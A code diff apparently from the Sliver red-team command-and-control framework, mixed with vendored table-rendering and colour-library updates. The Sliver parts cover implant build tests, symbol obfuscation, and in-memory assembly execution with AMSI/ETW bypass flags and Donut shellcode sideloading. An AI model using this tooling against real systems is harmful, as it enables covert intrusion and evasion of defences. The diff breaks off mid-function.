multiExe(t, "darwin", "amd64", true, true)
|
||||
multiExe(t, "darwin", "amd64", true, false)
|
||||
|
||||
tcpPivotExe(t, "darwin", "amd64", false)
|
||||
|
||||
// arm64
|
||||
multiExe(t, "darwin", "arm64", false, true)
|
||||
multiExe(t, "darwin", "arm64", false, false)
|
||||
multiExe(t, "darwin", "arm64", true, true)
|
||||
multiExe(t, "darwin", "arm64", true, false)
|
||||
tcpPivotExe(t, "darwin", "arm64", false)
|
||||
}
|
||||
|
||||
func TestSliverDefaultBuild(t *testing.T) {
|
||||
mtlsExe(t, "linux", "arm", false, true)
|
||||
mtlsExe(t, "linux", "arm", false, false)
|
||||
httpExe(t, "freebsd", "amd64", false, false)
|
||||
httpExe(t, "freebsd", "amd64", false, true)
|
||||
dnsExe(t, "plan9", "amd64", false, false)
|
||||
dnsExe(t, "plan9", "amd64", false, true)
|
||||
|
||||
mtlsExe(t, "linux", "arm", true, true)
|
||||
mtlsExe(t, "linux", "arm", true, false)
|
||||
httpExe(t, "freebsd", "amd64", true, false)
|
||||
httpExe(t, "freebsd", "amd64", true, true)
|
||||
dnsExe(t, "plan9", "amd64", true, false)
|
||||
@@ -148,10 +182,11 @@ func TestSliverDefaultBuild(t *testing.T) {
|
||||
}
|
||||
|
||||
func TestSymbolObfuscation(t *testing.T) {
|
||||
|
||||
// Supported platforms
|
||||
symbolObfuscation(t, "windows", "amd64")
|
||||
symbolObfuscation(t, "windows", "arm64")
|
||||
symbolObfuscation(t, "linux", "amd64")
|
||||
symbolObfuscation(t, "linux", "arm64")
|
||||
symbolObfuscation(t, "linux", "386")
|
||||
symbolObfuscation(t, "darwin", "amd64")
|
||||
symbolObfuscation(t, "darwin", "arm64")
|
||||
|
||||
@@ -42,6 +42,9 @@ func SaveImplantProfile(pbProfile *clientpb.ImplantProfile) (*clientpb.ImplantPr
|
||||
Name: profile.Name,
|
||||
ImplantConfig: profile.ImplantConfig,
|
||||
}).Error
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
dbProfile, err = db.ImplantProfileByName(profile.Name)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
|
||||
+4
-6
@@ -26,15 +26,12 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/server/assets"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
)
|
||||
|
||||
const (
|
||||
goDirName = "go"
|
||||
|
||||
kb = 1024
|
||||
mb = 1024 * kb
|
||||
gb = 1024 * mb
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -111,7 +108,7 @@ func GarbleCmd(config GoConfig, cwd string, command []string) ([]byte, error) {
|
||||
fmt.Sprintf("GOPROXY=%s", config.GOPROXY),
|
||||
fmt.Sprintf("HTTP_PROXY=%s", config.HTTPPROXY),
|
||||
fmt.Sprintf("HTTPS_PROXY=%s", config.HTTPSPROXY),
|
||||
fmt.Sprintf("PATH=%s:%s", filepath.Join(config.GOROOT, "bin"), os.Getenv("PATH")),
|
||||
fmt.Sprintf("PATH=%s:%s:%s", filepath.Join(config.GOROOT, "bin"), assets.GetZigDir(), os.Getenv("PATH")),
|
||||
fmt.Sprintf("GOGARBLE=%s", config.GOGARBLE),
|
||||
fmt.Sprintf("HOME=%s", getHomeDir()),
|
||||
}
|
||||
@@ -154,7 +151,8 @@ func GoCmd(config GoConfig, cwd string, command []string) ([]byte, error) {
|
||||
fmt.Sprintf("GOPROXY=%s", config.GOPROXY),
|
||||
fmt.Sprintf("HTTP_PROXY=%s", config.HTTPPROXY),
|
||||
fmt.Sprintf("HTTPS_PROXY=%s", config.HTTPSPROXY),
|
||||
fmt.Sprintf("PATH=%s:%s", filepath.Join(config.GOROOT, "bin"), os.Getenv("PATH")),
|
||||
fmt.Sprintf("PATH=%s:%s:%s", filepath.Join(config.GOROOT, "bin"), assets.GetZigDir(), os.Getenv("PATH")),
|
||||
fmt.Sprintf("HOME=%s", getHomeDir()),
|
||||
}
|
||||
var stdout bytes.Buffer
|
||||
var stderr bytes.Buffer
|
||||
|
||||
@@ -198,7 +198,7 @@ func (rpc *Server) ExecuteAssembly(ctx context.Context, req *sliverpb.ExecuteAss
|
||||
req.Assembly,
|
||||
req.IsDLL,
|
||||
req.Arch,
|
||||
req.Arguments,
|
||||
strings.Join(req.Arguments, " "),
|
||||
req.Method,
|
||||
req.ClassName,
|
||||
req.AppDomain,
|
||||
@@ -214,7 +214,7 @@ func (rpc *Server) ExecuteAssembly(ctx context.Context, req *sliverpb.ExecuteAss
|
||||
invokeInProcExecAssembly := &sliverpb.InvokeInProcExecuteAssemblyReq{
|
||||
Data: req.Assembly,
|
||||
Runtime: req.Runtime,
|
||||
Arguments: strings.Split(req.Arguments, " "),
|
||||
Arguments: req.Arguments,
|
||||
AmsiBypass: req.AmsiBypass,
|
||||
EtwBypass: req.EtwBypass,
|
||||
Request: req.Request,
|
||||
@@ -266,7 +266,7 @@ func (rpc *Server) Sideload(ctx context.Context, req *sliverpb.SideloadReq) (*sl
|
||||
}
|
||||
|
||||
if getOS(session, beacon) == "windows" {
|
||||
shellcode, err := generate.DonutShellcodeFromPE(req.Data, arch, false, req.Args, "", req.EntryPoint, req.IsDLL, req.IsUnicode, false)
|
||||
shellcode, err := generate.DonutShellcodeFromPE(req.Data, arch, false, strings.Join(req.Args, " "), "", req.EntryPoint, req.IsDLL, req.IsUnicode, false)
|
||||
if err != nil {
|
||||
tasksLog.Errorf("Sideload failed: %s", err)
|
||||
return nil, err
|
||||
|
||||
@@ -8,3 +8,13 @@ func Contains[T comparable](elements []T, v T) bool {
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// From the x/exp source code - gets a slice of keys for a map
|
||||
func Keys[M ~map[K]V, K comparable, V any](m M) []K {
|
||||
r := make([]K, 0, len(m))
|
||||
for k := range m {
|
||||
r = append(r, k)
|
||||
}
|
||||
|
||||
return r
|
||||
}
|
||||
+45
-11
@@ -65,6 +65,29 @@ const (
|
||||
CrossedOut
|
||||
)
|
||||
|
||||
const (
|
||||
ResetBold Attribute = iota + 22
|
||||
ResetItalic
|
||||
ResetUnderline
|
||||
ResetBlinking
|
||||
_
|
||||
ResetReversed
|
||||
ResetConcealed
|
||||
ResetCrossedOut
|
||||
)
|
||||
|
||||
var mapResetAttributes map[Attribute]Attribute = map[Attribute]Attribute{
|
||||
Bold: ResetBold,
|
||||
Faint: ResetBold,
|
||||
Italic: ResetItalic,
|
||||
Underline: ResetUnderline,
|
||||
BlinkSlow: ResetBlinking,
|
||||
BlinkRapid: ResetBlinking,
|
||||
ReverseVideo: ResetReversed,
|
||||
Concealed: ResetConcealed,
|
||||
CrossedOut: ResetCrossedOut,
|
||||
}
|
||||
|
||||
// Foreground text colors
|
||||
const (
|
||||
FgBlack Attribute = iota + 30
|
||||
@@ -246,10 +269,7 @@ func (c *Color) Printf(format string, a ...interface{}) (n int, err error) {
|
||||
// On Windows, users should wrap w with colorable.NewColorable() if w is of
|
||||
// type *os.File.
|
||||
func (c *Color) Fprintln(w io.Writer, a ...interface{}) (n int, err error) {
|
||||
c.SetWriter(w)
|
||||
defer c.UnsetWriter(w)
|
||||
|
||||
return fmt.Fprintln(w, a...)
|
||||
return fmt.Fprintln(w, c.wrap(fmt.Sprint(a...)))
|
||||
}
|
||||
|
||||
// Println formats using the default formats for its operands and writes to
|
||||
@@ -258,10 +278,7 @@ func (c *Color) Fprintln(w io.Writer, a ...interface{}) (n int, err error) {
|
||||
// encountered. This is the standard fmt.Print() method wrapped with the given
|
||||
// color.
|
||||
func (c *Color) Println(a ...interface{}) (n int, err error) {
|
||||
c.Set()
|
||||
defer c.unset()
|
||||
|
||||
return fmt.Fprintln(Output, a...)
|
||||
return fmt.Fprintln(Output, c.wrap(fmt.Sprint(a...)))
|
||||
}
|
||||
|
||||
// Sprint is just like Print, but returns a string instead of printing it.
|
||||
@@ -271,7 +288,7 @@ func (c *Color) Sprint(a ...interface{}) string {
|
||||
|
||||
// Sprintln is just like Println, but returns a string instead of printing it.
|
||||
func (c *Color) Sprintln(a ...interface{}) string {
|
||||
return c.wrap(fmt.Sprintln(a...))
|
||||
return fmt.Sprintln(c.Sprint(a...))
|
||||
}
|
||||
|
||||
// Sprintf is just like Printf, but returns a string instead of printing it.
|
||||
@@ -353,7 +370,7 @@ func (c *Color) SprintfFunc() func(format string, a ...interface{}) string {
|
||||
// string. Windows users should use this in conjunction with color.Output.
|
||||
func (c *Color) SprintlnFunc() func(a ...interface{}) string {
|
||||
return func(a ...interface{}) string {
|
||||
return c.wrap(fmt.Sprintln(a...))
|
||||
return fmt.Sprintln(c.Sprint(a...))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -383,7 +400,18 @@ func (c *Color) format() string {
|
||||
}
|
||||
|
||||
func (c *Color) unformat() string {
|
||||
return fmt.Sprintf("%s[%dm", escape, Reset)
|
||||
//return fmt.Sprintf("%s[%dm", escape, Reset)
|
||||
//for each element in sequence let's use the speficic reset escape, ou the generic one if not found
|
||||
format := make([]string, len(c.params))
|
||||
for i, v := range c.params {
|
||||
format[i] = strconv.Itoa(int(Reset))
|
||||
ra, ok := mapResetAttributes[v]
|
||||
if ok {
|
||||
format[i] = strconv.Itoa(int(ra))
|
||||
}
|
||||
}
|
||||
|
||||
return fmt.Sprintf("%s[%sm", escape, strings.Join(format, ";"))
|
||||
}
|
||||
|
||||
// DisableColor disables the color output. Useful to not change any existing
|
||||
@@ -411,6 +439,12 @@ func (c *Color) isNoColorSet() bool {
|
||||
|
||||
// Equals returns a boolean value indicating whether two colors are equal.
|
||||
func (c *Color) Equals(c2 *Color) bool {
|
||||
if c == nil && c2 == nil {
|
||||
return true
|
||||
}
|
||||
if c == nil || c2 == nil {
|
||||
return false
|
||||
}
|
||||
if len(c.params) != len(c2.params) {
|
||||
return false
|
||||
}
|
||||
|
||||
+4
-3
@@ -7,7 +7,7 @@ Pretty-print tables into ASCII/Unicode strings.
|
||||
- Add Header(s) and Footer(s) (`AppendHeader`/`AppendFooter`)
|
||||
- Add a Separator manually after any Row (`AppendSeparator`)
|
||||
- Auto Index Rows (1, 2, 3 ...) and Columns (A, B, C, ...) (`SetAutoIndex`)
|
||||
- Auto Merge
|
||||
- Auto Merge (_not supported in CSV/HTML/Markdown/TSV modes_)
|
||||
- Cells in a Row (`RowConfig.AutoMerge`)
|
||||
- Columns (`ColumnConfig.AutoMerge`)
|
||||
- Limit the length of
|
||||
@@ -21,6 +21,7 @@ Pretty-print tables into ASCII/Unicode strings.
|
||||
- Mirror output to an `io.Writer` (ex. `os.StdOut`) (`SetOutputMirror`)
|
||||
- Sort by one or more Columns (`SortBy`)
|
||||
- Suppress/hide columns with no content (`SuppressEmptyColumns`)
|
||||
- Suppress trailing spaces in the last column (`SupressTrailingSpaces`)
|
||||
- Customizable Cell rendering per Column (`ColumnConfig.Transformer*`)
|
||||
- Hide any columns that you don't want displayed (`ColumnConfig.Hidden`)
|
||||
- Reset Headers/Rows/Footers at will to reuse the same Table Writer (`Reset*`)
|
||||
@@ -36,6 +37,7 @@ Pretty-print tables into ASCII/Unicode strings.
|
||||
- CSV
|
||||
- HTML Table (with custom CSS Class)
|
||||
- Markdown Table
|
||||
- TSV
|
||||
|
||||
```
|
||||
+---------------------------------------------------------------------+
|
||||
@@ -205,7 +207,7 @@ it specifically for each row/column using `RowConfig` or `ColumnConfig`.
|
||||
|
||||
t := table.NewWriter()
|
||||
t.AppendHeader(table.Row{"Node IP", "Pods", "Namespace", "Container", "RCE", "RCE"}, rowConfigAutoMerge)
|
||||
t.AppendHeader(table.Row{"", "", "", "", "EXE", "RUN"})
|
||||
t.AppendHeader(table.Row{"Node IP", "Pods", "Namespace", "Container", "EXE", "RUN"})
|
||||
t.AppendRow(table.Row{"1.1.1.1", "Pod 1A", "NS 1A", "C 1", "Y", "Y"}, rowConfigAutoMerge)
|
||||
t.AppendRow(table.Row{"1.1.1.1", "Pod 1A", "NS 1A", "C 2", "Y", "N"}, rowConfigAutoMerge)
|
||||
t.AppendRow(table.Row{"1.1.1.1", "Pod 1A", "NS 1B", "C 3", "N", "N"}, rowConfigAutoMerge)
|
||||
@@ -223,7 +225,6 @@ it specifically for each row/column using `RowConfig` or `ColumnConfig`.
|
||||
{Number: 5, Align: text.AlignCenter, AlignFooter: text.AlignCenter, AlignHeader: text.AlignCenter},
|
||||
{Number: 6, Align: text.AlignCenter, AlignFooter: text.AlignCenter, AlignHeader: text.AlignCenter},
|
||||
})
|
||||
t.SetOutputMirror(os.Stdout)
|
||||
t.SetStyle(table.StyleLight)
|
||||
t.Style().Options.SeparateRows = true
|
||||
fmt.Println(t.Render())
|
||||
|
||||
+1
-1
@@ -71,7 +71,7 @@ type ColumnConfig struct {
|
||||
}
|
||||
|
||||
func (c ColumnConfig) getWidthMaxEnforcer() WidthEnforcer {
|
||||
if c.WidthMax == 0 {
|
||||
if c.WidthMax <= 0 {
|
||||
return widthEnforcerNone
|
||||
}
|
||||
if c.WidthMaxEnforcer != nil {
|
||||
|
||||
+34
-16
@@ -9,15 +9,16 @@ import (
|
||||
)
|
||||
|
||||
// Render renders the Table in a human-readable "pretty" format. Example:
|
||||
// ┌─────┬────────────┬───────────┬────────┬─────────────────────────────┐
|
||||
// │ # │ FIRST NAME │ LAST NAME │ SALARY │ │
|
||||
// ├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
|
||||
// │ 1 │ Arya │ Stark │ 3000 │ │
|
||||
// │ 20 │ Jon │ Snow │ 2000 │ You know nothing, Jon Snow! │
|
||||
// │ 300 │ Tyrion │ Lannister │ 5000 │ │
|
||||
// ├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
|
||||
// │ │ │ TOTAL │ 10000 │ │
|
||||
// └─────┴────────────┴───────────┴────────┴─────────────────────────────┘
|
||||
//
|
||||
// ┌─────┬────────────┬───────────┬────────┬─────────────────────────────┐
|
||||
// │ # │ FIRST NAME │ LAST NAME │ SALARY │ │
|
||||
// ├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
|
||||
// │ 1 │ Arya │ Stark │ 3000 │ │
|
||||
// │ 20 │ Jon │ Snow │ 2000 │ You know nothing, Jon Snow! │
|
||||
// │ 300 │ Tyrion │ Lannister │ 5000 │ │
|
||||
// ├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
|
||||
// │ │ │ TOTAL │ 10000 │ │
|
||||
// └─────┴────────────┴───────────┴────────┴─────────────────────────────┘
|
||||
func (t *Table) Render() string {
|
||||
t.initForRender()
|
||||
|
||||
@@ -206,11 +207,12 @@ func (t *Table) renderLine(out *strings.Builder, row rowStr, hint renderHint) {
|
||||
if outLine != out {
|
||||
t.renderLineMergeOutputs(out, outLine)
|
||||
}
|
||||
t.firstRowOfPage = false
|
||||
|
||||
// if a page size has been set, and said number of lines has already
|
||||
// been rendered, and the header is not being rendered right now, render
|
||||
// the header all over again with a spacing line
|
||||
if hint.isRegularRow() {
|
||||
if hint.isRegularNonSeparatorRow() {
|
||||
t.numLinesRendered++
|
||||
if t.pageSize > 0 && t.numLinesRendered%t.pageSize == 0 && !hint.isLastLineOfLastRow() {
|
||||
t.renderRowsFooter(out)
|
||||
@@ -218,6 +220,7 @@ func (t *Table) renderLine(out *strings.Builder, row rowStr, hint renderHint) {
|
||||
out.WriteString(t.style.Box.PageSeparator)
|
||||
t.renderRowsBorderTop(out)
|
||||
t.renderRowsHeader(out)
|
||||
t.firstRowOfPage = true
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -312,8 +315,7 @@ func (t *Table) renderRows(out *strings.Builder, rows []rowStr, hint renderHint)
|
||||
hint.rowNumber = rowIdx + 1
|
||||
t.renderRow(out, row, hint)
|
||||
|
||||
if (t.style.Options.SeparateRows && rowIdx < len(rows)-1) || // last row before footer
|
||||
(t.separators[rowIdx] && rowIdx != len(rows)-1) { // manually added separator not after last row
|
||||
if t.shouldSeparateRows(rowIdx, len(rows)) {
|
||||
hint.isFirstRow = false
|
||||
t.renderRowSeparator(out, hint)
|
||||
}
|
||||
@@ -322,17 +324,33 @@ func (t *Table) renderRows(out *strings.Builder, rows []rowStr, hint renderHint)
|
||||
|
||||
func (t *Table) renderRowsBorderBottom(out *strings.Builder) {
|
||||
if len(t.rowsFooter) > 0 {
|
||||
t.renderRowSeparator(out, renderHint{isBorderBottom: true, isFooterRow: true, rowNumber: len(t.rowsFooter)})
|
||||
t.renderRowSeparator(out, renderHint{
|
||||
isBorderBottom: true,
|
||||
isFooterRow: true,
|
||||
rowNumber: len(t.rowsFooter),
|
||||
})
|
||||
} else {
|
||||
t.renderRowSeparator(out, renderHint{isBorderBottom: true, isFooterRow: false, rowNumber: len(t.rows)})
|
||||
t.renderRowSeparator(out, renderHint{
|
||||
isBorderBottom: true,
|
||||
isFooterRow: false,
|
||||
rowNumber: len(t.rows),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func (t *Table) renderRowsBorderTop(out *strings.Builder) {
|
||||
if len(t.rowsHeader) > 0 || t.autoIndex {
|
||||
t.renderRowSeparator(out, renderHint{isBorderTop: true, isHeaderRow: true, rowNumber: 0})
|
||||
t.renderRowSeparator(out, renderHint{
|
||||
isBorderTop: true,
|
||||
isHeaderRow: true,
|
||||
rowNumber: 0,
|
||||
})
|
||||
} else {
|
||||
t.renderRowSeparator(out, renderHint{isBorderTop: true, isHeaderRow: false, rowNumber: 0})
|
||||
t.renderRowSeparator(out, renderHint{
|
||||
isBorderTop: true,
|
||||
isHeaderRow: false,
|
||||
rowNumber: 0,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+6
-5
@@ -7,11 +7,12 @@ import (
|
||||
)
|
||||
|
||||
// RenderCSV renders the Table in CSV format. Example:
|
||||
// #,First Name,Last Name,Salary,
|
||||
// 1,Arya,Stark,3000,
|
||||
// 20,Jon,Snow,2000,"You know nothing\, Jon Snow!"
|
||||
// 300,Tyrion,Lannister,5000,
|
||||
// ,,Total,10000,
|
||||
//
|
||||
// #,First Name,Last Name,Salary,
|
||||
// 1,Arya,Stark,3000,
|
||||
// 20,Jon,Snow,2000,"You know nothing\, Jon Snow!"
|
||||
// 300,Tyrion,Lannister,5000,
|
||||
// ,,Total,10000,
|
||||
func (t *Table) RenderCSV() string {
|
||||
t.initForRender()
|
||||
|
||||
|
||||
+46
-45
@@ -13,49 +13,50 @@ const (
|
||||
)
|
||||
|
||||
// RenderHTML renders the Table in HTML format. Example:
|
||||
// <table class="go-pretty-table">
|
||||
// <thead>
|
||||
// <tr>
|
||||
// <th align="right">#</th>
|
||||
// <th>First Name</th>
|
||||
// <th>Last Name</th>
|
||||
// <th align="right">Salary</th>
|
||||
// <th> </th>
|
||||
// </tr>
|
||||
// </thead>
|
||||
// <tbody>
|
||||
// <tr>
|
||||
// <td align="right">1</td>
|
||||
// <td>Arya</td>
|
||||
// <td>Stark</td>
|
||||
// <td align="right">3000</td>
|
||||
// <td> </td>
|
||||
// </tr>
|
||||
// <tr>
|
||||
// <td align="right">20</td>
|
||||
// <td>Jon</td>
|
||||
// <td>Snow</td>
|
||||
// <td align="right">2000</td>
|
||||
// <td>You know nothing, Jon Snow!</td>
|
||||
// </tr>
|
||||
// <tr>
|
||||
// <td align="right">300</td>
|
||||
// <td>Tyrion</td>
|
||||
// <td>Lannister</td>
|
||||
// <td align="right">5000</td>
|
||||
// <td> </td>
|
||||
// </tr>
|
||||
// </tbody>
|
||||
// <tfoot>
|
||||
// <tr>
|
||||
// <td align="right"> </td>
|
||||
// <td> </td>
|
||||
// <td>Total</td>
|
||||
// <td align="right">10000</td>
|
||||
// <td> </td>
|
||||
// </tr>
|
||||
// </tfoot>
|
||||
// </table>
|
||||
//
|
||||
// <table class="go-pretty-table">
|
||||
// <thead>
|
||||
// <tr>
|
||||
// <th align="right">#</th>
|
||||
// <th>First Name</th>
|
||||
// <th>Last Name</th>
|
||||
// <th align="right">Salary</th>
|
||||
// <th> </th>
|
||||
// </tr>
|
||||
// </thead>
|
||||
// <tbody>
|
||||
// <tr>
|
||||
// <td align="right">1</td>
|
||||
// <td>Arya</td>
|
||||
// <td>Stark</td>
|
||||
// <td align="right">3000</td>
|
||||
// <td> </td>
|
||||
// </tr>
|
||||
// <tr>
|
||||
// <td align="right">20</td>
|
||||
// <td>Jon</td>
|
||||
// <td>Snow</td>
|
||||
// <td align="right">2000</td>
|
||||
// <td>You know nothing, Jon Snow!</td>
|
||||
// </tr>
|
||||
// <tr>
|
||||
// <td align="right">300</td>
|
||||
// <td>Tyrion</td>
|
||||
// <td>Lannister</td>
|
||||
// <td align="right">5000</td>
|
||||
// <td> </td>
|
||||
// </tr>
|
||||
// </tbody>
|
||||
// <tfoot>
|
||||
// <tr>
|
||||
// <td align="right"> </td>
|
||||
// <td> </td>
|
||||
// <td>Total</td>
|
||||
// <td align="right">10000</td>
|
||||
// <td> </td>
|
||||
// </tr>
|
||||
// </tfoot>
|
||||
// </table>
|
||||
func (t *Table) RenderHTML() string {
|
||||
t.initForRender()
|
||||
|
||||
@@ -112,7 +113,7 @@ func (t *Table) htmlRenderColumn(out *strings.Builder, colStr string) {
|
||||
out.WriteString(colStr)
|
||||
}
|
||||
|
||||
func (t *Table) htmlRenderColumnAttributes(out *strings.Builder, row rowStr, colIdx int, hint renderHint) {
|
||||
func (t *Table) htmlRenderColumnAttributes(out *strings.Builder, colIdx int, hint renderHint) {
|
||||
// determine the HTML "align"/"valign" property values
|
||||
align := t.getAlign(colIdx, hint).HTMLProperty()
|
||||
vAlign := t.getVAlign(colIdx, hint).HTMLProperty()
|
||||
@@ -161,7 +162,7 @@ func (t *Table) htmlRenderRow(out *strings.Builder, row rowStr, hint renderHint)
|
||||
// write the row
|
||||
out.WriteString(" <")
|
||||
out.WriteString(colTagName)
|
||||
t.htmlRenderColumnAttributes(out, row, colIdx, hint)
|
||||
t.htmlRenderColumnAttributes(out, colIdx, hint)
|
||||
out.WriteString(">")
|
||||
if len(colStr) == 0 {
|
||||
out.WriteString(t.style.HTML.EmptyColumn)
|
||||
|
||||
+3
-6
@@ -43,12 +43,8 @@ func (t *Table) analyzeAndStringifyColumn(colIdx int, col interface{}, hint rend
|
||||
} else {
|
||||
colStr = fmt.Sprint(col)
|
||||
}
|
||||
if strings.Contains(colStr, "\t") {
|
||||
colStr = strings.Replace(colStr, "\t", " ", -1)
|
||||
}
|
||||
if strings.Contains(colStr, "\r") {
|
||||
colStr = strings.Replace(colStr, "\r", "", -1)
|
||||
}
|
||||
colStr = strings.ReplaceAll(colStr, "\t", " ")
|
||||
colStr = text.ProcessCRLF(colStr)
|
||||
return fmt.Sprintf("%s%s", t.style.Format.Direction.Modifier(), colStr)
|
||||
}
|
||||
|
||||
@@ -282,6 +278,7 @@ func (t *Table) reset() {
|
||||
t.autoIndexVIndexMaxLength = 0
|
||||
t.columnConfigMap = nil
|
||||
t.columnIsNonNumeric = nil
|
||||
t.firstRowOfPage = true
|
||||
t.maxColumnLengths = nil
|
||||
t.maxRowLength = 0
|
||||
t.numColumns = 0
|
||||
|
||||
+9
-13
@@ -6,12 +6,13 @@ import (
|
||||
)
|
||||
|
||||
// RenderMarkdown renders the Table in Markdown format. Example:
|
||||
// | # | First Name | Last Name | Salary | |
|
||||
// | ---:| --- | --- | ---:| --- |
|
||||
// | 1 | Arya | Stark | 3000 | |
|
||||
// | 20 | Jon | Snow | 2000 | You know nothing, Jon Snow! |
|
||||
// | 300 | Tyrion | Lannister | 5000 | |
|
||||
// | | | Total | 10000 | |
|
||||
//
|
||||
// | # | First Name | Last Name | Salary | |
|
||||
// | ---:| --- | --- | ---:| --- |
|
||||
// | 1 | Arya | Stark | 3000 | |
|
||||
// | 20 | Jon | Snow | 2000 | You know nothing, Jon Snow! |
|
||||
// | 300 | Tyrion | Lannister | 5000 | |
|
||||
// | | | Total | 10000 | |
|
||||
func (t *Table) RenderMarkdown() string {
|
||||
t.initForRender()
|
||||
|
||||
@@ -54,12 +55,8 @@ func (t *Table) markdownRenderRow(out *strings.Builder, row rowStr, hint renderH
|
||||
colStr = row[colIdx]
|
||||
}
|
||||
out.WriteRune(' ')
|
||||
if strings.Contains(colStr, "|") {
|
||||
colStr = strings.Replace(colStr, "|", "\\|", -1)
|
||||
}
|
||||
if strings.Contains(colStr, "\n") {
|
||||
colStr = strings.Replace(colStr, "\n", "<br/>", -1)
|
||||
}
|
||||
colStr = strings.ReplaceAll(colStr, "|", "\\|")
|
||||
colStr = strings.ReplaceAll(colStr, "\n", "<br/>")
|
||||
out.WriteString(colStr)
|
||||
out.WriteRune(' ')
|
||||
}
|
||||
@@ -94,7 +91,6 @@ func (t *Table) markdownRenderRows(out *strings.Builder, rows []rowStr, hint ren
|
||||
|
||||
func (t *Table) markdownRenderRowsFooter(out *strings.Builder) {
|
||||
t.markdownRenderRows(out, t.rowsFooter, renderHint{isFooterRow: true})
|
||||
|
||||
}
|
||||
|
||||
func (t *Table) markdownRenderRowsHeader(out *strings.Builder) {
|
||||
|
||||
+73
@@ -0,0 +1,73 @@
|
||||
package table
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func (t *Table) RenderTSV() string {
|
||||
t.initForRender()
|
||||
|
||||
var out strings.Builder
|
||||
|
||||
if t.numColumns > 0 {
|
||||
if t.title != "" {
|
||||
out.WriteString(t.title)
|
||||
}
|
||||
|
||||
if t.autoIndex && len(t.rowsHeader) == 0 {
|
||||
t.tsvRenderRow(&out, t.getAutoIndexColumnIDs(), renderHint{isAutoIndexRow: true, isHeaderRow: true})
|
||||
}
|
||||
|
||||
t.tsvRenderRows(&out, t.rowsHeader, renderHint{isHeaderRow: true})
|
||||
t.tsvRenderRows(&out, t.rows, renderHint{})
|
||||
t.tsvRenderRows(&out, t.rowsFooter, renderHint{isFooterRow: true})
|
||||
|
||||
if t.caption != "" {
|
||||
out.WriteRune('\n')
|
||||
out.WriteString(t.caption)
|
||||
}
|
||||
}
|
||||
|
||||
return t.render(&out)
|
||||
}
|
||||
|
||||
func (t *Table) tsvRenderRow(out *strings.Builder, row rowStr, hint renderHint) {
|
||||
if out.Len() > 0 {
|
||||
out.WriteRune('\n')
|
||||
}
|
||||
|
||||
for idx, col := range row {
|
||||
if idx == 0 && t.autoIndex {
|
||||
if hint.isRegularRow() {
|
||||
out.WriteString(fmt.Sprint(hint.rowNumber))
|
||||
}
|
||||
out.WriteRune('\t')
|
||||
}
|
||||
|
||||
if idx > 0 {
|
||||
out.WriteRune('\t')
|
||||
}
|
||||
|
||||
if strings.ContainsAny(col, "\t\n\"") || strings.Contains(col, " ") {
|
||||
out.WriteString(fmt.Sprintf("\"%s\"", t.tsvFixDoubleQuotes(col)))
|
||||
} else {
|
||||
out.WriteString(col)
|
||||
}
|
||||
}
|
||||
|
||||
for colIdx := len(row); colIdx < t.numColumns; colIdx++ {
|
||||
out.WriteRune('\t')
|
||||
}
|
||||
}
|
||||
|
||||
func (t *Table) tsvFixDoubleQuotes(str string) string {
|
||||
return strings.Replace(str, "\"", "\"\"", -1)
|
||||
}
|
||||
|
||||
func (t *Table) tsvRenderRows(out *strings.Builder, rows []rowStr, hint renderHint) {
|
||||
for idx, row := range rows {
|
||||
hint.rowNumber = idx + 1
|
||||
t.tsvRenderRow(out, row, hint)
|
||||
}
|
||||
}
|
||||
+126
-25
@@ -3,6 +3,7 @@ package table
|
||||
import (
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// SortBy defines What to sort (Column Name or Number), and How to sort (Mode).
|
||||
@@ -17,6 +18,9 @@ type SortBy struct {
|
||||
|
||||
// Mode tells the Writer how to Sort. Asc/Dsc/etc.
|
||||
Mode SortMode
|
||||
|
||||
// IgnoreCase makes sorting case-insensitive
|
||||
IgnoreCase bool
|
||||
}
|
||||
|
||||
// SortMode defines How to sort.
|
||||
@@ -25,12 +29,24 @@ type SortMode int
|
||||
const (
|
||||
// Asc sorts the column in Ascending order alphabetically.
|
||||
Asc SortMode = iota
|
||||
// AscAlphaNumeric sorts the column in Ascending order alphabetically and
|
||||
// then numerically.
|
||||
AscAlphaNumeric
|
||||
// AscNumeric sorts the column in Ascending order numerically.
|
||||
AscNumeric
|
||||
// AscNumericAlpha sorts the column in Ascending order numerically and
|
||||
// then alphabetically.
|
||||
AscNumericAlpha
|
||||
// Dsc sorts the column in Descending order alphabetically.
|
||||
Dsc
|
||||
// DscAlphaNumeric sorts the column in Descending order alphabetically and
|
||||
// then numerically.
|
||||
DscAlphaNumeric
|
||||
// DscNumeric sorts the column in Descending order numerically.
|
||||
DscNumeric
|
||||
// DscNumericAlpha sorts the column in Descending order numerically and
|
||||
// then alphabetically.
|
||||
DscNumericAlpha
|
||||
)
|
||||
|
||||
type rowsSorter struct {
|
||||
@@ -74,9 +90,10 @@ func (t *Table) parseSortBy(sortBy []SortBy) []SortBy {
|
||||
}
|
||||
if colNum > 0 {
|
||||
resSortBy = append(resSortBy, SortBy{
|
||||
Name: col.Name,
|
||||
Number: colNum,
|
||||
Mode: col.Mode,
|
||||
Name: col.Name,
|
||||
Number: colNum,
|
||||
Mode: col.Mode,
|
||||
IgnoreCase: col.IgnoreCase,
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -92,36 +109,120 @@ func (rs rowsSorter) Swap(i, j int) {
|
||||
}
|
||||
|
||||
func (rs rowsSorter) Less(i, j int) bool {
|
||||
shouldContinue, returnValue := false, false
|
||||
realI, realJ := rs.sortedIndices[i], rs.sortedIndices[j]
|
||||
for _, col := range rs.sortBy {
|
||||
rowI, rowJ, colIdx := rs.rows[realI], rs.rows[realJ], col.Number-1
|
||||
if colIdx < len(rowI) && colIdx < len(rowJ) {
|
||||
